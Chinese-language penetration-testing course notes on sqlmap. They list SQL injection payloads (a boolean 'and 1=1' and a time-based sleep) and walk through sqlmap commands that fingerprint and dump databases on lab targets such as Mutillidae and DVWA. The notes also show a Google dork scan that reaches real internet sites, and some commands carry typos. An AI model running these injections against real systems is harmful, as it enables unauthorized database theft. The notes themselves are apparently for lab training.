任务093:SQLMAP- 自动注入 笔记

sqlmap介绍

介绍

  • 开源sql注入漏洞检测,利用
    • 检测动态页面中get/post参数,cookie,http头
  • 数据榨取
    • 文件访问
    • 操作系统命令执行
    • 引擎强大,特性丰富
    • Xss漏洞检测

五种漏洞检测技术

  • 基于布尔的盲注检测

      - ’ and 1=1 
    • 基于时间的盲注检测基于错误的检测

    • ’ and (select * from (select(sleep(20)))a)–+

    • 基于UNION联合查询的检测

      • 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
    • 基于堆叠查询的检测

      • ;堆叠多个查询语句
      • 适用于非select的数据修改、删除的操作
    • 支持的数据库管理系统DBMS
      MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

其他特性

  • 数据库直接连接-d与burpsuite、google结合使用,支持正则表达式限定测试目标
    • 不通过SQL注入,制定身份认证信息、P、端口
  • Get、post、cookie、Referer、UserAgent (随机或指定)限速: 最大并发、延迟发送

    • Cookie过期后自动处理Set-Cookie头,更新cookie信息
  • 支持Basic,Digest,NTLM,CA身份认证

  • 数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称

  • 文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表

  • 与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门

实际操作

1
2
3
4
5
6
7
8
9
10
11
12
13
显示
-h或是--help 都是查看基本常用的参数
-hh 查看详细参数
-v 查看返回结果信息0-6,6是查看返回最详细信息0是最低。默认是1
指定目标
-d 直接连接数据库,当客户端来使用
-u “URL地址” 定一个URL这个URL必须是带变量的像http://www.site.com/vuln.php?id=1
-l 文件 导入一个文件可以来自Burp和WebScarab代理记录的文件
r-x xxx.xml 来自远程站点地图(.xml)文件的x站点地图url解析目标
-m 要指定的文件 多个目标URL保持到文件里-m就会用文件里的
-r 请求信息的文件 叫请求信息保存成一个文件-r就会读取文件里的请求信息进行注入探测
-g 用谷歌搜索引擎访问然后在进行扫描
-c 文件名 叫要sqlmap执行的参数保存的到文件里-c就会用文件里的内容

下面就用上面的参数进行演示
靶机metasploitable-linux-2.0.0里的phpMyAdmin里的靶机

命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f

-p是要指定的变量名之对这个变量进行检查探测
-f是检查检查指纹信息
总体来说就是检查这个URL里的username进行指纹检查看见查

查看读取数据库账号

命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --usere
--usere是查看读取数据库账号

查看数据库的版本

命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --banner

–banner就是查看数据库的版本类型的

查看你数据管理系统有多少库显示库名

命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username --dbs

–dbs查看你数据管理系统有多少库显示库名

查看原数据库

 命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  --schema

–schema查看原数据库 前提的有权限查询schema库的权限

查看你所以的内容

命令

1
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details"  -p username  -a

-a是查看你所以的内容

直接连接数据库进行查询查询的更快,但是你得的数据库帐号密码 列:sqlmap -d “mysql://帐号:密码@192.168.20.10:3306/dvwa” -a

 

 也可以用其他参数如–dbs了

 靶机没有密码输入帐号直接就可以连接了

命令

1
sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa"  -a

扫描 google 搜索结果这个是需要翻墙的

命令

1
sqlmap.py -g "inurl:\".php?id=1\""

 -g就是用google 搜索结果

用 url 列表文件进行扫描

 命令

1
sqlmap -m 文件名

 -m是指定一个文件文件里存放多个url地址然后在进行文件里的多个url进行选择性扫描

使用和请求文件和 POST文件方法进行扫描

 用burp或者用其他工具进行抓取请求内容然后保存一个文件里

 帐号密码几乎都是用POST进行传输的很少用UIL进行传输url里没有传输帐号密码那么就在POST请求里

使用http请求文件 

这个后面可以跟参数的

命令

1
sqkmap -r 请求保存的文件 -a

使用burpsuite log文件

用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入

 保存log文件
 在这里插入图片描述
 在这里插入图片描述命令

1
sqlmap -l a 

扫描会非常长后面可以加参数

HTTPS

命令

1
sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

配置文件进行扫描

就是叫要扫描的URL保存到一个文件里然后sqlmap在读取文件里的URL里的目标地址进行扫描
命令

1
sqlmap -c sqlmap.txt